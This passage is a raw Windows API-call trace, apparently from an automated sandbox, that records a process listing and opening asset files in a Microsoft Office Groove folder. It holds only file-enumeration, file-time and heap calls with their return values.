ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58b9b600, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVE.GIF", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x12b79, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e57, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e4444b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6427, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.ICO", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1db1, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.JS", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="")) returned 0 [0078.881] GetLastError () returned 0x12 [0078.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8378) returned 1 [0078.881] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8270) returned 1 [0078.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.882] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms4", cAlternateFileName="")) returned 1 [0078.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.883] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.883] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.883] NtClose (Handle=0x164) returned 0x0 [0078.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0078.884] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.886] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.887] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0078.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0078.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2a10 [0078.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c55d8 [0078.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="")) returned 1 [0078.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2a30 [0078.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c57e8 [0078.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="")) returned 1 [0078.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2a50 [0078.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c56e0 [0078.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.890] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="")) returned 1 [0078.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2a70 [0078.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.891] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0078.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2a90 [0078.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.892] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="")) returned 1 [0078.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.892] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="")) returned 1 [0078.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.892] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="")) returned 1 [0078.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.892] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x167bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePage.gif", cAlternateFileName="")) returned 1 [0078.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.892] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageBlank.gif", cAlternateFileName="")) returned 1 [0078.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.892] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x40f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageSlice.gif", cAlternateFileName="")) returned 1 [0078.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.892] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_over.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, 